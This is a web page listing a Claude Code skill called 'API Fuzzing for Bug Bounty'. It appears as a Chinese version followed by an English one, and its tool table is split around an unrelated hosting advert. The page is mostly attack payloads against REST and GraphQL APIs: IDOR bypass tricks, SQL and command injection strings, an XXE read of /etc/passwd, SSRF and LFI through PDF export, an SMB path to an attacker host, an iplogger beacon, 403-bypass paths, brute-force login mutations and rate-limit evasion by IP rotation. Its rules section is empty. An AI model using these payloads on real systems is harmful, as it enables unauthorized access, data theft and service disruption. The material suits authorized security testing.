API Fuzzing for Bug Bounty by davila7/claude-code-templates
npx skills add https://github.com/davila7/claude-code-templates --skill 'API Fuzzing for Bug Bounty'在漏洞赏金狩猎和渗透测试任务中,提供测试 REST、SOAP 和 GraphQL API 的综合技术。涵盖漏洞发现、身份验证绕过、IDOR 利用和 API 特定的攻击向量。
| 类型 | 协议 | 数据格式 | 结构 |
|---|---|---|---|
| SOAP | HTTP | XML | 头部 + 正文 |
| REST | HTTP | JSON/XML/URL | 定义的端点 |
| GraphQL | HTTP | 自定义查询 | 单一端点 |
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
识别 API 类型并枚举端点:
# 检查 Swagger/OpenAPI 文档
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# 使用 Kiterunner 进行 API 发现
kr scan https://target.com -w routes-large.kite
# 从 Swagger 提取路径
python3 json2paths.py swagger.json
# 测试不同的登录路径
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# 检查身份验证端点的速率限制
# 如果没有速率限制 → 可能进行暴力破解
# 分别测试移动端和网页端 API
# 不要假设它们具有相同的安全控制
不安全的直接对象引用是最常见的 API 漏洞:
# 基本 IDOR
GET /api/users/1234 → GET /api/users/1235
# 即使 ID 是基于邮件的,也尝试数字形式
/?user_id=111 而不是 /?user_id=user@mail.com
# 测试 /me/orders 与 /user/654321/orders
IDOR 绕过技术:
# 将 ID 包装在数组中
{"id":111} → {"id":[111]}
# JSON 包装
{"id":111} → {"id":{"id":111}}
# 发送两次 ID
URL?id=<LEGIT>&id=<VICTIM>
# 通配符注入
{"user_id":"*"}
# 参数污染
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
JSON 中的 SQL 注入:
{"id":"56456"} → 正常
{"id":"56456 AND 1=1#"} → 正常
{"id":"56456 AND 1=2#"} → 正常
{"id":"56456 AND 1=3#"} → 错误(存在漏洞!)
{"id":"56456 AND sleep(15)#"} → 休眠 15 秒
命令注入:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux 命令注入
api.url.com/endpoint?name=file.txt;ls%20/
XXE 注入:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
通过 API 进行 SSRF:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
.NET Path.Combine 漏洞:
# 如果 .NET 应用使用 Path.Combine(path_1, path_2)
# 测试路径遍历
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
# 测试所有 HTTP 方法
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# 切换内容类型
Content-Type: application/json → application/xml
获取整个后端模式:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
URL 编码版本:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
# 尝试访问其他用户 ID
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
# 通过 GraphQL 端点进行 XSS
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL 编码的 XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
| 工具 | 用途 |
|---|---|
| GraphCrawler | 模式发现 |
| graphw00f | 指纹识别 |
| clairvoyance | 模式重建 |
| InQL | Burp 扩展 |
| GraphQLmap | 利用 |
当收到 403/401 时,尝试以下绕过方法:
# 原始被阻止的请求
/api/v1/users/sensitivedata → 403
# 绕过尝试
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
<!-- 通过 PDF 导出进行 LFI -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- 通过 PDF 导出进行 SSRF -->
<object data="http://127.0.0.1:8443"/>
<!-- 端口扫描 -->
<img src="http://127.0.0.1:445"/>
<!-- IP 泄露 -->
<img src="https://iplogger.com/yourcode.gif"/>
# 正常请求
/api/news?limit=100
# DoS 尝试
/api/news?limit=9999999999
| 漏洞 | 描述 |
|---|---|
| API 暴露 | 未受保护的端点公开暴露 |
| 缓存配置错误 | 敏感数据缓存不正确 |
| 令牌暴露 | 响应或 URL 中的 API 密钥/令牌 |
| JWT 弱点 | 签名弱、无过期时间、算法混淆 |
| IDOR / BOLA | 对象级别授权破坏 |
| 未记录的端点 | 隐藏的管理/调试端点 |
| 不同版本 | 旧版 API 版本中的安全漏洞 |
| 速率限制 | 缺失或可绕过的速率限制 |
| 竞争条件 | TOCTOU 漏洞 |
| XXE 注入 | XML 解析器利用 |
| 内容类型问题 | 在 JSON/XML 之间切换 |
| HTTP 方法篡改 | GET→DELETE/PUT 滥用 |
| 漏洞 | 测试载荷 | 风险 |
|---|---|---|
| IDOR | 更改 user_id 参数 | 高 |
| SQLi | JSON 中的 ' OR 1=1-- | 严重 |
| 命令注入 | ; ls / | 严重 |
| XXE | 带有 ENTITY 的 DOCTYPE | 高 |
| SSRF | 参数中的内部 IP | 高 |
| 速率限制绕过 | 批量请求 | 中 |
| 方法篡改 | GET→DELETE | 高 |
| 类别 | 工具 | URL |
|---|---|---|
| API 模糊测试 | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API 模糊测试 | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API 模糊测试 | Astra | github.com/flipkart-incubator/Astra |
| API 安全 | apicheck | github.com/BBVA/apicheck |
| API 发现 | Kiterunner | github.com/assetnote/kiterunner |
| API 发现 | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API 工具包 | APIKit | github.com/API-Security/APIKit |
| API 密钥 | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| 单词列表 | SecLists | github.com/danielmiessler/SecLists |
| Swagger 解析器 | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger 路由 | swagroutes | github.com/amalmurali47/swagroutes |
| API 思维导图 | MindAPI | dsopas.github.io/MindAPI/play |
| JSON 路径 | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
必须:
禁止:
应该:
X-Requested-With: XMLHttpRequest 头以模拟前端# 原始请求(自己的数据)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# 修改后的请求(其他用户的数据)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# 响应泄露了其他用户的发票数据
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
| 问题 | 解决方案 |
|---|---|
| API 无返回 | 添加 X-Requested-With: XMLHttpRequest 头 |
| 所有端点返回 401 | 尝试添加 ?user_id=1 参数 |
| GraphQL 内省被禁用 | 使用 clairvoyance 进行模式重建 |
| 被速率限制 | 使用 IP 轮换或批量请求 |
| 找不到端点 | 检查 Swagger、archive.org、JS 文件 |
每周安装次数
0
代码仓库
GitHub 星标数
22.6K
首次出现时间
Jan 1, 1970
安全审计
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
| Type | Protocol | Data Format | Structure |
|---|---|---|---|
| SOAP | HTTP | XML | Header + Body |
| REST | HTTP | JSON/XML/URL | Defined endpoints |
| GraphQL | HTTP | Custom Query | Single endpoint |
Identify API type and enumerate endpoints:
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controls
Insecure Direct Object Reference is the most common API vulnerability:
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
# Test /me/orders vs /user/654321/orders
IDOR Bypass Techniques:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
SQL Injection in JSON:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
Command Injection:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
XXE Injection:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
SSRF via API:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
.NET Path.Combine Vulnerability:
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
Fetch entire backend schema:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
URL-encoded version:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
# Try accessing other user IDs
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
| Tool | Purpose |
|---|---|
| GraphCrawler | Schema discovery |
| graphw00f | Fingerprinting |
| clairvoyance | Schema reconstruction |
| InQL | Burp extension |
| GraphQLmap | Exploitation |
When receiving 403/401, try these bypasses:
# Original blocked request
/api/v1/users/sensitivedata → 403
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata
<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>
# Normal request
/api/news?limit=100
# DoS attempt
/api/news?limit=9999999999
| Vulnerability | Description |
|---|---|
| API Exposure | Unprotected endpoints exposed publicly |
| Misconfigured Caching | Sensitive data cached incorrectly |
| Exposed Tokens | API keys/tokens in responses or URLs |
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
| IDOR / BOLA | Broken Object Level Authorization |
| Undocumented Endpoints | Hidden admin/debug endpoints |
| Different Versions | Security gaps in older API versions |
| Rate Limiting | Missing or bypassable rate limits |
| Race Conditions | TOCTOU vulnerabilities |
| XXE Injection | XML parser exploitation |
| Content Type Issues | Switching between JSON/XML |
| HTTP Method Tampering | GET→DELETE/PUT abuse |
| Vulnerability | Test Payload | Risk |
|---|---|---|
| IDOR | Change user_id parameter | High |
| SQLi | ' OR 1=1-- in JSON | Critical |
| Command Injection | ; ls / | Critical |
| XXE | DOCTYPE with ENTITY | High |
| SSRF | Internal IP in params | High |
| Rate Limit Bypass | Batch requests | Medium |
| Method Tampering | GET→DELETE | High |
| Category | Tool | URL |
|---|---|---|
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
| API Security | apicheck | github.com/BBVA/apicheck |
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API Toolkit | APIKit | github.com/API-Security/APIKit |
| API Keys | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
Must:
Must Not:
Should:
X-Requested-With: XMLHttpRequest header to simulate frontend# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>
# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>
# Response reveals other user's invoice data
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
| Issue | Solution |
|---|---|
| API returns nothing | Add X-Requested-With: XMLHttpRequest header |
| 401 on all endpoints | Try adding ?user_id=1 parameter |
| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
| Rate limited | Use IP rotation or batch requests |
| Can't find endpoints | Check Swagger, archive.org, JS files |
Weekly Installs
0
Repository
GitHub Stars
22.6K
First Seen
Jan 1, 1970
Security Audits
Linux云主机安全托管指南:从SSH加固到HTTPS部署
27,400 周安装
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |